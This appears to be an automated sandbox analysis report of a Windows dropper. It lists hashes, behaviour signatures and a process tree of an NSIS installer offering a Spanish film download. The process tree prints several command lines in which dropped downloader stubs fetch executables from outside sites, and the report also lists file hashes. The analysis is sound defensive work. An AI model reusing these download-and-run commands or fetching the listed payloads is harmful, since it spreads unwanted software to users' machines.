Analysis

  • max time kernel
    150s
  • max time network
    150s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    13/10/2024, 16:57

General

  • Target

    41051bea20b66dd8308052a4021c37c4_JaffaCakes118.exe

  • Size

    492KB

  • MD5

    41051bea20b66dd8308052a4021c37c4

  • SHA1

    8500357d72a40e32aee122d784e0aae66cba11fc

  • SHA256

    baae026a3af5c895ce485d66255a39655aa663524432f2590f197e5b8480374b

  • SHA512

    a3ad552b72d0e8c6244f5bee5734b2f3871488f71046f034a77468b28a4fa2aefca2d367c86234e60aaed4b42a5c58fdd1707cf96d1c752d1b4bf8daf097d615

  • SSDEEP

    6144:vuk4fqjnzQqF6jtY03ZgLpp6TURimpBwXVUTL7E97IkXQxBRUoz0JehYvH7Aw0v9:Z4fw76peEUBwXVwM9vylzdYvH7AwC

Score
7/10

Malware Config

Signatures

  • Executes dropped EXE 9 IoCs
  • Loads dropped DLL 64 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 10 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • NSIS installer 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of WriteProcessMemory 45 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\41051bea20b66dd8308052a4021c37c4_JaffaCakes118.exe
    "C:\Users\Admin\AppData\Local\Temp\41051bea20b66dd8308052a4021c37c4_JaffaCakes118.exe"
    1⤵
    • Loads dropped DLL
    • System Location Discovery: System Language Discovery
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:292
    • C:\Users\Admin\AppData\Local\Temp\92f2f4de1afe079fca35a535b6c9341f\downloaderSTUB.exe
      C:\Users\Admin\AppData\Local\Temp\92f2f4de1afe079fca35a535b6c9341f\downloaderSTUB.exe /U "http://www.openbitcoin.org/static/dist/obc.exe" /D "C:\Users\Admin\AppData\Local\Temp\92f2f4de1afe079fca35a535b6c9341f\stub.exe"
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      PID:2088
    • C:\Users\Admin\AppData\Local\Temp\92f2f4de1afe079fca35a535b6c9341f\downloaderSTUB.exe
      C:\Users\Admin\AppData\Local\Temp\92f2f4de1afe079fca35a535b6c9341f\downloaderSTUB.exe /U "http://openbitcoin.org/static/dist/OpenCL.dll" /D "C:\Users\Admin\AppData\Local\Temp\92f2f4de1afe079fca35a535b6c9341f\OpenCL.dll"
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      PID:3064
    • C:\Users\Admin\AppData\Local\Temp\92f2f4de1afe079fca35a535b6c9341f\downloaderSTUB.exe
      C:\Users\Admin\AppData\Local\Temp\92f2f4de1afe079fca35a535b6c9341f\downloaderSTUB.exe /U "http://openbitcoin.org/static/dist/updater.exe" /D "C:\Users\Admin\AppData\Local\Temp\92f2f4de1afe079fca35a535b6c9341f\updater.exe"
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      PID:2256
    • C:\Users\Admin\AppData\Local\Temp\92f2f4de1afe079fca35a535b6c9341f\downloaderDDLR.exe
      C:\Users\Admin\AppData\Local\Temp\92f2f4de1afe079fca35a535b6c9341f\downloaderDDLR.exe /U "http://www.directdownloader.com/DirectDownloaderInstaller.exe" /D "C:\Users\Admin\AppData\Local\Temp\92f2f4de1afe079fca35a535b6c9341f\DirectDownloaderInstaller.exe"
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      PID:2580
    • C:\Users\Admin\AppData\Local\Temp\92f2f4de1afe079fca35a535b6c9341f\downloaderOFFER0.exe
      C:\Users\Admin\AppData\Local\Temp\92f2f4de1afe079fca35a535b6c9341f\downloaderOFFER0.exe /U "http://www.directdownloader.com/toolbars/optimizer.exe" /D "C:\Users\Admin\AppData\Local\Temp\92f2f4de1afe079fca35a535b6c9341f\optimizer.exe"
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      PID:2428
    • C:\Users\Admin\AppData\Local\Temp\92f2f4de1afe079fca35a535b6c9341f\preinstaller.exe
      C:\Users\Admin\AppData\Local\Temp\92f2f4de1afe079fca35a535b6c9341f\preinstaller.exe 0 "Crepusculo Amanecer 2 parte spanish" "Download"
      2⤵
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      PID:2704
    • C:\Users\Admin\AppData\Local\Temp\92f2f4de1afe079fca35a535b6c9341f\downloaderOFFER1.exe
      C:\Users\Admin\AppData\Local\Temp\92f2f4de1afe079fca35a535b6c9341f\downloaderOFFER1.exe /U "http://www.directdownloader.com/toolbars/BitAcceleratorDDLRinstaller.exe" /D "C:\Users\Admin\AppData\Local\Temp\92f2f4de1afe079fca35a535b6c9341f\BitAcceleratorDDLRinstaller.exe"
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      PID:2984
    • C:\Users\Admin\AppData\Local\Temp\92f2f4de1afe079fca35a535b6c9341f\preinstaller.exe
      C:\Users\Admin\AppData\Local\Temp\92f2f4de1afe079fca35a535b6c9341f\preinstaller.exe 1 "Crepusculo Amanecer 2 parte spanish"
      2⤵
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      PID:2132
    • C:\Users\Admin\AppData\Local\Temp\92f2f4de1afe079fca35a535b6c9341f\preinstaller.exe
      C:\Users\Admin\AppData\Local\Temp\92f2f4de1afe079fca35a535b6c9341f\preinstaller.exe 3 "Crepusculo Amanecer 2 parte spanish"
      2⤵
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      PID:1792

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\92f2f4de1afe079fca35a535b6c9341f\downloaderOFFER2.exe

    Filesize

    58KB

    MD5

    c7f6ed56312c8fbb58ae6ed445c38df4

    SHA1

    e2dba94ef052db774478b9f7198c1a2298b334e5

    SHA256

    fdb8452173a4f116f6e362ab5466c3c16bf6697502fe3d01db0d82f0e339de24

    SHA512

    ac43e5bb31c3c0876a7768553916cce76d92088e62594e8463b128a0d6e587c48152a5efcf0b2a5e8fb43028d46913df114ae3c3750b7e6c4212c7044518ba43

  • C:\Users\Admin\AppData\Local\Temp\92f2f4de1afe079fca35a535b6c9341f\preinstaller.exe

    Filesize

    213KB

    MD5

    06baef00ae0f0e42fc5fea24fc4eac42

    SHA1

    9161574590f09cfe4c24498827386ed57f2e8c58

    SHA256

    19460c3c1b450286c68fba77086c561e740374ae5c44213dd2ec22dc52a430b8

    SHA512

    29431ff9f16fdd4122a10dfec0f260a4397e776daae2ef17defae71e037f082d48d186a24d229c408c9d1b0b4f02aaeaa69011e44cf399795f9c09903ac51486

  • \Users\Admin\AppData\Local\Temp\nsdD75C.tmp\Processes.dll

    Filesize

    35KB

    MD5

    2cfba79d485cf441c646dd40d82490fc

    SHA1

    83e51ac1115a50986ed456bd18729653018b9619

    SHA256

    86b302fa9c85dfa0c1c03ba000864a928365dab571f3355347dba02da22949b7

    SHA512

    cca186a7f9c5cff3f4eca410fbe8cc13dad2514a7e36aec9b1addfbcb239ace9b9b2d8427771858e3fd11783abce7e24d43c286f98da9f8b17562ca095a4c043

  • \Users\Admin\AppData\Local\Temp\nstA6FA.tmp\NSISdl.dll

    Filesize

    14KB

    MD5

    a5f8399a743ab7f9c88c645c35b1ebb5

    SHA1

    168f3c158913b0367bf79fa413357fbe97018191

    SHA256

    dacc88a12d3ba438fdae3535dc7a5a1d389bce13adc993706424874a782e51c9

    SHA512

    824e567f5211bf09c7912537c7836d761b0934207612808e9a191f980375c6a97383dbc6b4a7121c6b5f508cbfd7542a781d6b6b196ca24841f73892eec5e977

  • memory/292-73-0x0000000000400000-0x0000000000444000-memory.dmp

    Filesize

    272KB

  • memory/292-299-0x0000000000400000-0x0000000000444000-memory.dmp

    Filesize

    272KB

  • memory/292-3426-0x0000000000400000-0x0000000000444000-memory.dmp

    Filesize

    272KB

  • memory/1792-411-0x0000000000400000-0x000000000043F000-memory.dmp

    Filesize

    252KB

  • memory/1792-707-0x0000000000400000-0x000000000043F000-memory.dmp

    Filesize

    252KB

  • memory/1792-1245-0x0000000000400000-0x000000000043F000-memory.dmp

    Filesize

    252KB

  • memory/2132-74-0x0000000000400000-0x000000000043F000-memory.dmp

    Filesize

    252KB

  • memory/2704-58-0x0000000000400000-0x000000000043F000-memory.dmp

    Filesize

    252KB